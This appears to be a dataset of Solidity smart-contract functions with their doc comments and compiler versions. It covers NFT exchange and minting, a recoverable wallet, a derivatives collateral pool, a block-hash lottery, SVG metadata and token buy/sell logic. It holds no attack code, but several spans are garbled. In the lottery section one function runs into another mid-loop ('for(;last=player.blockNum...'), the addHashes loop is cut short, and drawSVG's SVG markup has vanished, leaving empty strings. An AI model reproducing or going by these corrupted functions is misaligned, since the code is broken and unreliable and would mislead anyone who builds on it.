* @param tokenId NFT's id \r\n */", "function_code": "function receiveErc721Token(\r\n address contractAddress, \r\n uint256 tokenId\r\n ) \r\n external \r\n {\r\n bool checkSupportErc165Interface = false;\r\n if(contractAddress != CryptoKittiesAddress){\r\n for(uint i = 0; i < SupportNFTInterface.length; i++){\r\n if(contractAddress._supportsInterface(SupportNFTInterface[i]) == true){\r\n checkSupportErc165Interface = true;\r\n }\r\n }\r\n require(checkSupportErc165Interface == true, \"not supported Erc165 Interface\");\r\n Erc721Interface erc721Contract = Erc721Interface(contractAddress);\r\n require(erc721Contract.isApprovedForAll(msg.sender,address(this)) == true, \"contract doesn't have power to control this token id\");\r\n erc721Contract.transferFrom(msg.sender, address(this), tokenId);\r\n }else {\r\n KittyInterface kittyContract = KittyInterface(contractAddress);\r\n require(kittyContract.kittyIndexToApproved(tokenId) == address(this), \"contract doesn't have power to control this cryptoKitties's id\");\r\n kittyContract.transferFrom(msg.sender, address(this), tokenId);\r\n }\r\n _addToken(msg.sender, contractAddress, tokenId);\r\n emit ReceiveToken(msg.sender, contractAddress, tokenId);\r\n\r\n }", "version": "0.5.6"} {"comment": "/**\r\n * @dev add token and OrderObj information on exchange contract, because order hash and matchorder\r\n * hash are same, so one NFT have mapping to one OrderObj\r\n * @param sender NFT's owner\r\n * @param contractAddress NFT's contract address\r\n * @param tokenId NFT's id\r\n */", "function_code": "function _addToken(\r\n address sender, \r\n address contractAddress, \r\n uint256 tokenId\r\n ) \r\n internal \r\n { \r\n bytes32 matchOrderHash = keccak256(abi.encodePacked(contractAddress, tokenId, sender));\r\n MatchOrderToOwner[matchOrderHash] = sender;\r\n HashToOrderObj[matchOrderHash] = OrderObj(sender,contractAddress,tokenId);\r\n TokenToOwner[contractAddress][tokenId] = sender;\r\n uint index = OwnerToTokens[sender][contractAddress].push(tokenId).sub(1);\r\n TokenToIndex[contractAddress][tokenId] = index;\r\n emit CreateOrderObj(matchOrderHash, sender, contractAddress, tokenId);\r\n }", "version": "0.5.6"} {"comment": "/**\r\n * @dev send your NFT back to address which you send token in, if your NFT still have open order,\r\n * then order will be deleted\r\n * @notice matchorder will not be deleted because cost too high, but they will be useless and other\r\n * people can't choose your match order to exchange\r\n * @param contractAddress NFT's Contract address\r\n * @param tokenId NFT's id \r\n */", "function_code": "function sendBackToken(\r\n address contractAddress, \r\n uint256 tokenId\r\n ) \r\n external \r\n onlySenderIsOriginalOwner(\r\n contractAddress, \r\n tokenId\r\n ) \r\n {\r\n bytes32 orderHash = keccak256(abi.encodePacked(contractAddress, tokenId, msg.sender));\r\n if(OrderToExist[orderHash] == true) {\r\n _removeOrder(msg.sender, orderHash);\r\n }\r\n _sendToken(msg.sender, contractAddress, tokenId);\r\n emit SendBackToken(msg.sender, contractAddress, tokenId);\r\n }", "version": "0.5.6"} {"comment": "/**\r\n * @dev Drive NFT contract to send NFT to corresponding address\r\n * @notice because cryptokittes contract method are not the same as general NFT contract, so \r\n * need treat it individually\r\n * @param sendAddress NFT's owner\r\n * @param contractAddress NFT's contract address\r\n * @param tokenId NFT's id\r\n */", "function_code": "function _sendToken(\r\n address sendAddress,\r\n address contractAddress, \r\n uint256 tokenId\r\n )\r\n internal\r\n { \r\n if(contractAddress != CryptoKittiesAddress){\r\n Erc721Interface erc721Contract = Erc721Interface(contractAddress);\r\n require(erc721Contract.ownerOf(tokenId) == address(this), \"exchange contract should have this token\");\r\n erc721Contract.transferFrom(address(this), sendAddress, tokenId);\r\n }else{\r\n KittyInterface kittyContract = KittyInterface(contractAddress);\r\n require(kittyContract.ownerOf(tokenId) == address(this), \"exchange contract should have this token\");\r\n kittyContract.transfer(sendAddress, tokenId);\r\n }\r\n _removeToken(contractAddress, tokenId);\r\n emit SendToken(sendAddress, contractAddress, tokenId);\r\n }", "version": "0.5.6"} {"comment": "/**\r\n * @dev remove token and OrderObj information on exchange contract\r\n * @param contractAddress NFT's contract address\r\n * @param tokenId NFT's id\r\n */", "function_code": "function _removeToken(\r\n address contractAddress, \r\n uint256 tokenId\r\n ) \r\n internal \r\n {\r\n address owner = TokenToOwner[contractAddress][tokenId];\r\n bytes32 orderHash = keccak256(abi.encodePacked(contractAddress, tokenId, owner));\r\n delete HashToOrderObj[orderHash];\r\n delete MatchOrderToOwner[orderHash];\r\n delete TokenToOwner[contractAddress][tokenId];\r\n uint256 tokenIndex = TokenToIndex[contractAddress][tokenId];\r\n uint256 lastOwnerTokenIndex = OwnerToTokens[owner][contractAddress].length.sub(1);\r\n if (lastOwnerTokenIndex != tokenIndex){\r\n uint256 lastOwnerToken = OwnerToTokens[owner][contractAddress][lastOwnerTokenIndex];\r\n OwnerToTokens[owner][contractAddress][tokenIndex] = lastOwnerToken;\r\n TokenToIndex[contractAddress][lastOwnerToken] = tokenIndex;\r\n }\r\n OwnerToTokens[owner][contractAddress].length--;\r\n }", "version": "0.5.6"} {"comment": "// See which address owns which tokens", "function_code": "function tokensOfOwner(address addr)\r\n public\r\n view\r\n returns (uint256[] memory)\r\n {\r\n uint256 tokenCount = balanceOf(addr);\r\n uint256[] memory tokensId = new uint256[](tokenCount);\r\n for (uint256 i; i < tokenCount; i++) {\r\n tokensId[i] = tokenOfOwnerByIndex(addr, i);\r\n }\r\n return tokensId;\r\n }", "version": "0.8.7"} {"comment": "// Exclusive presale minting", "function_code": "function mintPresale(uint256 amount) internal {\r\n require(amount > 0, \"amount should not be zero..\");\r\n // uint256 reservedAmt = presaleReserved[msg.sender];\r\n require(\r\n amount <= presaleReserved[msg.sender],\r\n \"mintPresale Erorr: minted reserved tokens or not allowed\"\r\n );\r\n require(presaleActive, \"Presale isn't active\");\r\n require(\r\n _tokenIdCounter.current() + amount <= MAX_SUPPLY - reserved,\r\n \"Can't mint more than max supply\"\r\n );\r\n require(msg.value == price * amount, \"Wrong amount of ETH sent\");\r\n for (uint256 i = 1; i <= amount; i++) {\r\n _safeMint(msg.sender, _tokenIdCounter.current());\r\n _tokenIdCounter.increment();\r\n presaleReserved[msg.sender] -= 1;\r\n }\r\n }", "version": "0.8.7"} {"comment": "// Standard mint function1", "function_code": "function mintToken(uint256 amount) internal {\r\n require(amount <= 10, \"Only 10 tokens are allowed to mint once\");\r\n require(msg.value == price * amount, \"Wrong amount of ETH sent\");\r\n require(saleActive, \"Sale isn't active\");\r\n require(\r\n _tokenIdCounter.current() + amount <= MAX_SUPPLY - reserved,\r\n \"Can't mint more than max supply\"\r\n );\r\n payable(owner()).transfer(msg.value);\r\n for (uint256 i = 1; i <= amount; i++) {\r\n _safeMint(msg.sender, _tokenIdCounter.current());\r\n _tokenIdCounter.increment();\r\n }\r\n }", "version": "0.8.7"} {"comment": "//withdraw ethers() from contract onlyy Admin", "function_code": "function withdrawfunds() public payable onlyOwner {\r\n require(\r\n msg.sender == owner(),\r\n \"withdrawfunds: only Owner can call this function\"\r\n );\r\n require(\r\n address(this).balance != 0,\r\n \"withdrawfunds :no balance is in contract\"\r\n );\r\n payable(owner()).transfer(address(this).balance);\r\n }", "version": "0.8.7"} {"comment": "// Admin minting function to reserve tokens for the team, collabs, customs and giveaways", "function_code": "function mintReserved(uint256 _amount) public onlyOwner {\r\n // Limited to a publicly set amount\r\n require(_amount > 0, \"Invalid amount is given\");\r\n require(_amount <= reserved, \"Can't reserve more than set amount\");\r\n reserved -= _amount;\r\n for (uint256 i = 1; i <= _amount; i++) {\r\n _safeMint(msg.sender, _tokenIdCounter.current());\r\n _tokenIdCounter.increment();\r\n }\r\n }", "version": "0.8.7"} {"comment": "// callable by owner only, after specified time, only for Tokens implementing ERC20", "function_code": "function withdrawERC20Amount(address _tokenContract, uint256 _amount) onlyOwner public {\r\n ERC20 token = ERC20(_tokenContract);\r\n uint256 tokenBalance = token.balanceOf(this);\r\n require(tokenBalance >= _amount, \"Not enough funds in the reserve\");\r\n token.transfer(owner, _amount);\r\n emit WithdrewTokens(_tokenContract, msg.sender, _amount);\r\n }", "version": "0.4.24"} {"comment": "/// @notice Indicates whether the contract implements the interface `interfaceHash` for the address `_implementer` or not.\n/// @param _interfaceHash keccak256 hash of the name of the interface\n/// @param _implementer Address for which the contract will implement the interface\n/// @return ERC1820_ACCEPT_MAGIC only if the contract implements `interfaceHash` for the address `_implementer`.", "function_code": "function canImplementInterfaceForAddress(bytes32 _interfaceHash, address _implementer) external view returns(bytes32) {\n\t\t// keccak256(abi.encodePacked(\"ERC777TokensRecipient\")) == 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b\n\t\tif (_implementer == address(this) && _interfaceHash == 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b) {\n\t\t\t// keccak256(abi.encodePacked(\"ERC1820_ACCEPT_MAGIC\")) == 0xa2ef4600d742022d532d4747cb3547474667d6f13804902513b2ec01c848f4b4\n\t\t\treturn 0xa2ef4600d742022d532d4747cb3547474667d6f13804902513b2ec01c848f4b4;\n\t\t} else {\n\t\t\treturn bytes32(0);\n\t\t}\n\t}", "version": "0.6.2"} {"comment": "// this function is effectively map.entries.slice(1:), but that doesn't work with storage arrays in this version of solc so we have to do it by hand", "function_code": "function enumerate(Map storage map) internal view returns (Entry[] memory) {\n\t\t// output array is one shorter because we use a 1-indexed array\n\t\tEntry[] memory output = new Entry[](map.entries.length - 1);\n\n\t\t// first element in the array is just a placeholder (0,0), so we copy from element 1 to end\n\t\tfor (uint256 i = 1; i < map.entries.length; ++i) {\n\t\t\toutput[i - 1] = map.entries[i];\n\t\t}\n\t\treturn output;\n\t}", "version": "0.6.2"} {"comment": "/// @notice starts the recovery process. must be called by a previously registered recovery address. recovery will complete in a number of days dependent on the address that initiated the recovery", "function_code": "function startRecovery() external {\n\t\trequire(recoveryDelaysInDays.contains(msg.sender), \"Caller is not registered as a recoverer for this wallet.\");\n\t\tuint16 _proposedRecoveryDelayInDays = recoveryDelaysInDays.get(msg.sender);\n\n\t\tbool _inRecovery = activeRecoveryAddress != address(0);\n\t\tif (_inRecovery) {\n\t\t\t// NOTE: the delay for a particular recovery address cannot be changed during recovery nor can addresses be removed during recovery, so we can rely on this being != 0\n\t\t\tuint16 _activeRecoveryDelayInDays = recoveryDelaysInDays.get(activeRecoveryAddress);\n\t\t\trequire(_proposedRecoveryDelayInDays < _activeRecoveryDelayInDays, \"Recovery is already under way and new recoverer doesn't have a higher priority.\");\n\t\t\temit RecoveryCancelled(activeRecoveryAddress);\n\t\t}\n\n\t\tactiveRecoveryAddress = msg.sender;\n\t\tactiveRecoveryEndTime = block.timestamp + _proposedRecoveryDelayInDays * 1 days;\n\t\temit RecoveryStarted(msg.sender);\n\t}", "version": "0.6.2"} {"comment": "/// @notice finishes the recovery process after the necessary delay has elapsed. callable by anyone in case the keys controlling the active recovery address have been lost, since once this is called a new recovery (with a potentially lower recovery priority) can begin.", "function_code": "function finishRecovery() external onlyDuringRecovery {\n\t\trequire(block.timestamp >= activeRecoveryEndTime, \"You must wait until the recovery delay is over before finishing the recovery.\");\n\n\t\taddress _oldOwner = owner;\n\t\towner = activeRecoveryAddress;\n\t\tresetRecovery();\n\t\temit RecoveryFinished(_oldOwner, owner);\n\t}", "version": "0.6.2"} {"comment": "/// @notice deploy a contract from this contract.\n/// @dev uses create2, so the address of the deployed contract will be deterministic\n/// @param _value the amount of ETH that should be supplied to the contract creation call\n/// @param _data the deployment bytecode to execute\n/// @param _salt the salt used for deterministic contract creation. see documentation at https://eips.ethereum.org/EIPS/eip-1014 for details on how the address is computed", "function_code": "function deploy(uint256 _value, bytes calldata _data, uint256 _salt) external payable onlyOwner onlyOutsideRecovery returns (address) {\n\t\trequire(address(this).balance >= _value, \"Wallet does not have enough funds available to deploy the contract.\");\n\t\trequire(_data.length != 0, \"Contract deployment must contain bytecode to deploy.\");\n\t\tbytes memory _data2 = _data;\n\t\taddress newContract;\n\t\t/* solium-disable-next-line */\n\t\tassembly { newContract := create2(_value, add(_data2, 32), mload(_data2), _salt) }\n\t\trequire(newContract != address(0), \"Contract creation returned address 0, indicating failure.\");\n\t\treturn newContract;\n\t}", "version": "0.6.2"} {"comment": "/// @notice executes an arbitrary contract call by this wallet. allows the wallet to send ETH, transfer tokens, use dapps, etc.\n/// @param _to contract address to call or send to\n/// @param _value the amount of ETH to attach to the call\n/// @param _data the calldata to supply to `_to`\n/// @dev `_data` is of the same form used to call a contract from the JSON-RPC API, so for Solidity contract calls it is the target function hash followed by the ABI encoded parameters for that function", "function_code": "function execute(address payable _to, uint256 _value, bytes calldata _data) external payable onlyOwner onlyOutsideRecovery returns (bytes memory) {\n\t\trequire(_to != address(0), \"Transaction execution must contain a destination. If you meant to deploy a contract, use deploy instead.\");\n\t\trequire(address(this).balance >= _value, \"Wallet does not have enough funds available to execute the desired transaction.\");\n\t\t(bool _success, bytes memory _result) = _to.call.value(_value)(_data);\n\t\trequire(_success, \"Contract execution failed.\");\n\t\treturn _result;\n\t}", "version": "0.6.2"} {"comment": "/// @notice determines the amount of needed collateral for a given position (qty and price)\n/// @param priceFloor lowest price the contract is allowed to trade before expiration\n/// @param priceCap highest price the contract is allowed to trade before expiration\n/// @param qtyMultiplier multiplier for qty from base units\n/// @param longQty qty to redeem\n/// @param shortQty qty to redeem\n/// @param price of the trade", "function_code": "function calculateCollateralToReturn(\r\n uint priceFloor,\r\n uint priceCap,\r\n uint qtyMultiplier,\r\n uint longQty,\r\n uint shortQty,\r\n uint price\r\n ) pure internal returns (uint)\r\n {\r\n uint neededCollateral = 0;\r\n uint maxLoss;\r\n if (longQty > 0) { // calculate max loss from entry price to floor\r\n if (price <= priceFloor) {\r\n maxLoss = 0;\r\n } else {\r\n maxLoss = subtract(price, priceFloor);\r\n }\r\n neededCollateral = multiply(multiply(maxLoss, longQty), qtyMultiplier);\r\n }\r\n\r\n if (shortQty > 0) { // calculate max loss from entry price to ceiling;\r\n if (price >= priceCap) {\r\n maxLoss = 0;\r\n } else {\r\n maxLoss = subtract(priceCap, price);\r\n }\r\n neededCollateral = add(neededCollateral, multiply(multiply(maxLoss, shortQty), qtyMultiplier));\r\n }\r\n return neededCollateral;\r\n }", "version": "0.5.2"} {"comment": "// expiration date or outside of our tradeable ranges.", "function_code": "function checkSettlement() internal {\r\n require(!isSettled, \"Contract is already settled\"); // already settled.\r\n\r\n uint newSettlementPrice;\r\n if (now > EXPIRATION) { // note: miners can cheat this by small increments of time (minutes, not hours)\r\n isSettled = true; // time based expiration has occurred.\r\n newSettlementPrice = lastPrice;\r\n } else if (lastPrice >= PRICE_CAP) { // price is greater or equal to our cap, settle to CAP price\r\n isSettled = true;\r\n newSettlementPrice = PRICE_CAP;\r\n } else if (lastPrice <= PRICE_FLOOR) { // price is lesser or equal to our floor, settle to FLOOR price\r\n isSettled = true;\r\n newSettlementPrice = PRICE_FLOOR;\r\n }\r\n\r\n if (isSettled) {\r\n settleContract(newSettlementPrice);\r\n }\r\n }", "version": "0.5.2"} {"comment": "/// @notice Called by a user that currently holds both short and long position tokens and would like to redeem them\n/// for their collateral.\n/// @param marketContractAddress address of the market contract to redeem tokens for\n/// @param qtyToRedeem quantity of long / short tokens to redeem.", "function_code": "function redeemPositionTokens(\r\n address marketContractAddress,\r\n uint qtyToRedeem\r\n ) external onlyWhiteListedAddress(marketContractAddress)\r\n {\r\n MarketContract marketContract = MarketContract(marketContractAddress);\r\n\r\n marketContract.redeemLongToken(qtyToRedeem, msg.sender);\r\n marketContract.redeemShortToken(qtyToRedeem, msg.sender);\r\n\r\n // calculate collateral to return and update pool balance\r\n uint collateralToReturn = MathLib.multiply(qtyToRedeem, marketContract.COLLATERAL_PER_UNIT());\r\n contractAddressToCollateralPoolBalance[marketContractAddress] = contractAddressToCollateralPoolBalance[\r\n marketContractAddress\r\n ].subtract(collateralToReturn);\r\n\r\n // EXTERNAL CALL\r\n // transfer collateral back to user\r\n ERC20(marketContract.COLLATERAL_TOKEN_ADDRESS()).safeTransfer(msg.sender, collateralToReturn);\r\n\r\n emit TokensRedeemed(\r\n marketContractAddress,\r\n msg.sender,\r\n qtyToRedeem,\r\n qtyToRedeem,\r\n collateralToReturn\r\n );\r\n }", "version": "0.5.2"} {"comment": "/// @param marketContractAddress address of the MARKET Contract being traded.\n/// @param longQtyToRedeem qty to redeem of long tokens\n/// @param shortQtyToRedeem qty to redeem of short tokens", "function_code": "function settleAndClose(\r\n address marketContractAddress,\r\n uint longQtyToRedeem,\r\n uint shortQtyToRedeem\r\n ) external onlyWhiteListedAddress(marketContractAddress)\r\n {\r\n MarketContract marketContract = MarketContract(marketContractAddress);\r\n require(marketContract.isPostSettlementDelay(), \"Contract is not past settlement delay\");\r\n\r\n // burn tokens being redeemed.\r\n if (longQtyToRedeem > 0) {\r\n marketContract.redeemLongToken(longQtyToRedeem, msg.sender);\r\n }\r\n\r\n if (shortQtyToRedeem > 0) {\r\n marketContract.redeemShortToken(shortQtyToRedeem, msg.sender);\r\n }\r\n\r\n\r\n // calculate amount of collateral to return and update pool balances\r\n uint collateralToReturn = MathLib.calculateCollateralToReturn(\r\n marketContract.PRICE_FLOOR(),\r\n marketContract.PRICE_CAP(),\r\n marketContract.QTY_MULTIPLIER(),\r\n longQtyToRedeem,\r\n shortQtyToRedeem,\r\n marketContract.settlementPrice()\r\n );\r\n\r\n contractAddressToCollateralPoolBalance[marketContractAddress] = contractAddressToCollateralPoolBalance[\r\n marketContractAddress\r\n ].subtract(collateralToReturn);\r\n\r\n // return collateral tokens\r\n ERC20(marketContract.COLLATERAL_TOKEN_ADDRESS()).safeTransfer(msg.sender, collateralToReturn);\r\n\r\n emit TokensRedeemed(\r\n marketContractAddress,\r\n msg.sender,\r\n longQtyToRedeem,\r\n shortQtyToRedeem,\r\n collateralToReturn\r\n );\r\n }", "version": "0.5.2"} {"comment": "/// @dev allows the owner to remove the fees paid into this contract for minting\n/// @param feeTokenAddress - address of the erc20 token fees have been paid in\n/// @param feeRecipient - Recipient address of fees", "function_code": "function withdrawFees(address feeTokenAddress, address feeRecipient) public onlyOwner {\r\n uint feesAvailableForWithdrawal = feesCollectedByTokenAddress[feeTokenAddress];\r\n require(feesAvailableForWithdrawal != 0, \"No fees available for withdrawal\");\r\n require(feeRecipient != address(0), \"Cannot send fees to null address\");\r\n feesCollectedByTokenAddress[feeTokenAddress] = 0;\r\n // EXTERNAL CALL\r\n ERC20(feeTokenAddress).safeTransfer(feeRecipient, feesAvailableForWithdrawal);\r\n }", "version": "0.5.2"} {"comment": "/**\r\n * @dev Print number of block till next expected dividend payment\r\n */", "function_code": "function dividendsBlocks() constant external returns (uint) {\r\n if(investStart > 0) {\r\n return(0);\r\n }\r\n uint period = (block.number - hashFirst) / (10 * hashesSize);\r\n if(period > dividendPeriod) {\r\n return(0);\r\n }\r\n return((10 * hashesSize) - ((block.number - hashFirst) % (10 * hashesSize)));\r\n }", "version": "0.4.17"} {"comment": "/**\r\n * @dev Move funds to cold storage\r\n * @dev investBalance and walletBalance is protected from withdraw by owner\r\n * @dev if funding is > 50% admin can withdraw only 0.25% of balance weekly\r\n * @param _amount The amount of wei to move to cold storage\r\n */", "function_code": "function coldStore(uint _amount) external onlyOwner {\r\n houseKeeping();\r\n require(_amount > 0 && this.balance >= (investBalance * 9 / 10) + walletBalance + _amount);\r\n if(investBalance >= investBalanceGot / 2){ // additional jackpot protection\r\n require((_amount <= this.balance / 400) && coldStoreLast + 60 * 60 * 24 * 7 <= block.timestamp);\r\n }\r\n msg.sender.transfer(_amount);\r\n coldStoreLast = block.timestamp;\r\n }", "version": "0.4.17"} {"comment": "/**\r\n * @dev Update accounting\r\n */", "function_code": "function houseKeeping() public {\r\n if(investStart > 1 && block.number >= investStart + (hashesSize * 5)){ // ca. 14 days\r\n investStart = 0; // start dividend payments\r\n }\r\n else {\r\n if(hashFirst > 0){\r\n\t\t uint period = (block.number - hashFirst) / (10 * hashesSize );\r\n if(period > dividends.length - 2) {\r\n dividends.push(0);\r\n }\r\n if(period > dividendPeriod && investStart == 0 && dividendPeriod < dividends.length - 1) {\r\n dividendPeriod++;\r\n }\r\n }\r\n }\r\n }", "version": "0.4.17"} {"comment": "/**\r\n * @dev Delete all tokens owned by sender and return unpaid dividends and 90% of initial investment\r\n */", "function_code": "function disinvest() external {\r\n require(investStart == 0);\r\n commitDividend(msg.sender);\r\n uint initialInvestment = balances[msg.sender] * 10**15;\r\n Transfer(msg.sender,address(0),balances[msg.sender]); // for etherscan\r\n delete balances[msg.sender]; // totalSupply stays the same, investBalance is reduced\r\n investBalance -= initialInvestment;\r\n wallets[msg.sender].balance += uint208(initialInvestment * 9 / 10);\r\n payWallet();\r\n }", "version": "0.4.17"} {"comment": "/**\r\n * @dev Commit remaining dividends before transfer of tokens\r\n */", "function_code": "function commitDividend(address _who) internal {\r\n uint last = wallets[_who].lastDividendPeriod;\r\n if((balances[_who]==0) || (last==0)){\r\n wallets[_who].lastDividendPeriod=uint16(dividendPeriod);\r\n return;\r\n }\r\n if(last==dividendPeriod) {\r\n return;\r\n }\r\n uint share = balances[_who] * 0xffffffff / totalSupply;\r\n uint balance = 0;\r\n for(;last=player.blockNum + (10 * hashesSize))){\r\n return(0);\r\n }\r\n if(block.number0){\r\n uint32 hash = getHash(player.blockNum);\r\n if(hash == 0x1000000) { // load hash failed :-(, return funds\r\n return(uint(player.value));\r\n }\r\n else{\r\n return(betPrize(player,uint24(hash)));\r\n }\r\n\t}\r\n return(0);\r\n }", "version": "0.4.17"} {"comment": "/**\r\n * @dev Send ether to buy tokens during ICO\r\n * @dev or send less than 1 ether to contract to play\r\n * @dev or send 0 to collect prize\r\n */", "function_code": "function () payable external {\r\n if(msg.value > 0){\r\n if(investStart>1){ // during ICO payment to the contract is treated as investment\r\n invest(owner);\r\n }\r\n else{ // if not ICO running payment to contract is treated as play\r\n play();\r\n }\r\n return;\r\n }\r\n //check for dividends and other assets\r\n if(investStart == 0 && balances[msg.sender]>0){\r\n commitDividend(msg.sender);}\r\n won(); // will run payWallet() if nothing else available\r\n }", "version": "0.4.17"} {"comment": "/**\r\n * @dev Play in lottery with own numbers\r\n * @param _partner Affiliate partner\r\n */", "function_code": "function playSystem(uint _hash, address _partner) payable public returns (uint) {\r\n won(); // check if player did not win \r\n uint24 bethash = uint24(_hash);\r\n require(msg.value <= 1 ether && msg.value < hashBetMax);\r\n if(msg.value > 0){\r\n if(investStart==0) { // dividends only after investment finished\r\n dividends[dividendPeriod] += msg.value / 20; // 5% dividend\r\n }\r\n if(_partner != address(0)) {\r\n uint fee = msg.value / 100;\r\n walletBalance += fee;\r\n wallets[_partner].balance += uint208(fee); // 1% for affiliates\r\n }\r\n if(hashNext < block.number + 3) {\r\n hashNext = block.number + 3;\r\n hashBetSum = msg.value;\r\n }\r\n else{\r\n if(hashBetSum > hashBetMax) {\r\n hashNext++;\r\n hashBetSum = msg.value;\r\n }\r\n else{\r\n hashBetSum += msg.value;\r\n }\r\n }\r\n bets[msg.sender] = Bet({value: uint192(msg.value), betHash: uint32(bethash), blockNum: uint32(hashNext)});\r\n LogBet(msg.sender,uint(bethash),hashNext,msg.value);\r\n }\r\n putHashes(25); // players help collecing data, now much more than in last contract\r\n return(hashNext);\r\n }", "version": "0.4.17"} {"comment": "/**\r\n * @dev Create hash data swap space\r\n * @param _sadd Number of hashes to add (<=256)\r\n */", "function_code": "function addHashes(uint _sadd) public returns (uint) {\r\n require(hashFirst == 0 && _sadd > 0 && _sadd <= hashesSize);\r\n uint n = hashes.length;\r\n if(n + _sadd > hashesSize){\r\n hashes.length = hashesSize;\r\n }\r\n else{\r\n hashes.length += _sadd;\r\n }\r\n for(;n=hashesSize) { // assume block.number > 10\r\n hashFirst = block.number - ( block.number % 10);\r\n hashLast = hashFirst;\r\n }\r\n return(hashes.length);\r\n }", "version": "0.4.17"} {"comment": "/**\r\n * @dev Fill hash data\r\n */", "function_code": "function putHash() public returns (bool) {\r\n uint lastb = hashLast;\r\n if(lastb == 0 || block.number <= lastb + 10) {\r\n return(false);\r\n }\r\n if(lastb < block.number - 245) {\r\n uint num = block.number - 245;\r\n lastb = num - (num % 10);\r\n }\r\n uint delta = (lastb - hashFirst) / 10;\r\n hashes[delta % hashesSize] = calcHashes(uint32(lastb),uint32(delta));\r\n hashLast = lastb + 10;\r\n return(true);\r\n }", "version": "0.4.17"} {"comment": "/**\n * administrative to upload the names and images associated with each trait\n * @param traitType the trait type to upload the traits for (see traitTypes for a mapping)\n * @param traits the names and base64 encoded PNGs for each trait\n * @param traitIds the ids for traits\n */", "function_code": "function uploadTraits(uint8 traitType, uint8[] calldata traitIds, Trait[] calldata traits) external onlyOwner {\n require(traitIds.length == traits.length, \"Mismatched inputs\");\n for (uint i = 0; i < traits.length; i++) {\n traitData[traitType][traitIds[i]] = Trait(\n traits[i].name,\n traits[i].png\n );\n }\n }", "version": "0.8.4"} {"comment": "/**\n * generates an entire SVG by composing multiple elements of PNGs\n * @param tokenId the ID of the token to generate an SVG for\n * @return a valid SVG of the Cat / Mouse\n */", "function_code": "function drawSVG(uint256 tokenId) internal view returns (string memory) {\n IHouse.HouseStruct memory s = houseNFT.getTokenTraits(tokenId);\n uint8 shift = 0;\n if (s.roll == 0) {\n shift = 0;\n } else if (s.roll == 1) {\n shift = 1;\n } else {\n shift = 2;\n }\n\n // Trait data indexes 0 is reserved for Shack\n // Trait data indexes 2 is reserved for Ranch.\n // Trait data indexes 3 is reserved for Mansion.\n string memory svgString = string(abi.encodePacked(\n drawTrait(traitData[0 + shift][s.body])\n ));\n\n return string(abi.encodePacked(\n '',\n svgString,\n \"\"\n ));\n }", "version": "0.8.4"} {"comment": "/**\n * generates an array composed of all the individual traits and values\n * @param tokenId the ID of the token to compose the metadata for\n * @return a JSON array of all of the attributes for given token ID\n */", "function_code": "function compileAttributes(uint256 tokenId) internal view returns (string memory) {\n IHouse.HouseStruct memory s = houseNFT.getTokenTraits(tokenId);\n string memory traits;\n traits = string(abi.encodePacked(\n attributeForTypeAndValue(_traitTypes[0], traitData[s.roll][s.body].name), ','\n ));\n return string(abi.encodePacked(\n '[',\n traits,\n '{\"trait_type\":\"Generation\",\"value\":',\n '\"Gen 1\"',\n '},{\"trait_type\":\"Type\",\"value\":',\n '\"Shack\"',\n '}]'\n ));\n\n }", "version": "0.8.4"} {"comment": "// Update Signatures", "function_code": "function updateSignatures(string[] calldata nftTokenIds, bytes32[] calldata _signatures) public onlyOwner {\r\n for (uint256 i=0; i < nftTokenIds.length; i++) {\r\n\t string memory nftTokenId = nftTokenIds[i];\r\n\t bytes32 signature = _signatures[i];\r\n\t signatures[nftTokenId] = signature;\r\n\t }\r\n\t}", "version": "0.8.7"} {"comment": "// Claim Tokens", "function_code": "function claimTokens(uint _amount, string memory nftTokenId, string memory privateKey, bytes32 newSignature) public {\r\n require(claimTokensStatus, \"Claiming tokens is not active at the moment.\");\r\n\t auth(nftTokenId,privateKey,newSignature);\r\n require(_amount > 0, \"You have to claim at least 1 token.\");\r\n uint256 contractBalance = ERC20(address(this)).balanceOf(address(this));\r\n require(contractBalance >= _amount, \"Contract does not have enough tokens for you to claim right now.\");\r\n require((contractBalance - _amount) >= reserveAmount, \"Contract does not have enough tokens for you to claim right now.\");\r\n (bool sent) = ERC20(address(this)).transfer(msg.sender, _amount);\r\n require(sent, \"Failed to transfer tokens.\");\r\n emit tokensClaimed(msg.sender, nftTokenId, _amount);\r\n\t}", "version": "0.8.7"} {"comment": "// Buy Tokens", "function_code": "function buyTokens(uint256 _amount) public payable returns (uint256 _amountBought) {\r\n require(buyTokensStatus, \"Buying tokens is not active at the moment.\");\r\n\t if (msg.sender != owner()) {\r\n require(msg.value > 0, \"Send ETH to buy some tokens.\");\r\n uint256 ethCost = costToBuy * _amount;\r\n require(msg.value >= ethCost, \"Not enough ETH to buy tokens.\");\r\n uint256 contractBalance = ERC20(address(this)).balanceOf(address(this));\r\n require(contractBalance >= _amount, \"Contract does not have enough tokens for your purchase.\");\r\n require((contractBalance - _amount) >= reserveAmount, \"Contract does not have enough tokens for your purchase.\");\r\n\t }\r\n (bool sent) = ERC20(address(this)).transfer(msg.sender, _amount);\r\n require(sent, \"Failed to transfer tokens.\");\r\n emit tokensBought(msg.sender, msg.value, _amount);\r\n return _amount;\r\n\t}", "version": "0.8.7"} {"comment": "// Sell Tokens", "function_code": "function sellTokens(uint256 _amount) public {\r\n require(sellTokensStatus, \"Selling tokens is not active at the moment.\");\r\n require(_amount > 0, \"Specify an amount of tokens greater than zero.\");\r\n uint256 userBalance = ERC20(address(this)).balanceOf(msg.sender);\r\n require(userBalance >= _amount, \"Your balance is lower than the amount of tokens you want to sell.\");\r\n uint256 amountOfETHToTransfer = _amount * tokenSellValue;\r\n uint256 contractETHBalance = address(this).balance;\r\n require(contractETHBalance >= amountOfETHToTransfer, \"Contract does not have enough funds to accept the sell request.\");\r\n require((contractETHBalance - reserveEth) >= amountOfETHToTransfer, \"Contract does not have enough funds to accept the sell request.\");\r\n\t approve(address(this), _amount);\r\n (bool sent) = ERC20(address(this)).transferFrom(msg.sender, address(this), _amount);\r\n require(sent, \"Failed to transfer tokens.\");\r\n (sent,) = msg.sender.call{value: amountOfETHToTransfer}(\"\");\r\n require(sent, \"Failed to send ETH.\");\r\n emit tokensSold(msg.sender, _amount, amountOfETHToTransfer);\r\n }", "version": "0.8.7"} {"comment": "// Send Tokens Back to Contract", "function_code": "function sendTokensBack(uint256 _amount) public {\r\n require(sendTokensBackStatus, \"Sending tokens back is not active at the moment.\");\r\n require(_amount > 0, \"Specify an amount of tokens greater than zero.\");\r\n uint256 userBalance = ERC20(address(this)).balanceOf(msg.sender);\r\n require(userBalance >= _amount, \"Your balance is lower than the amount of tokens needed.\");\r\n\t approve(address(this), _amount);\r\n (bool sent) = ERC20(address(this)).transferFrom(msg.sender, address(this), 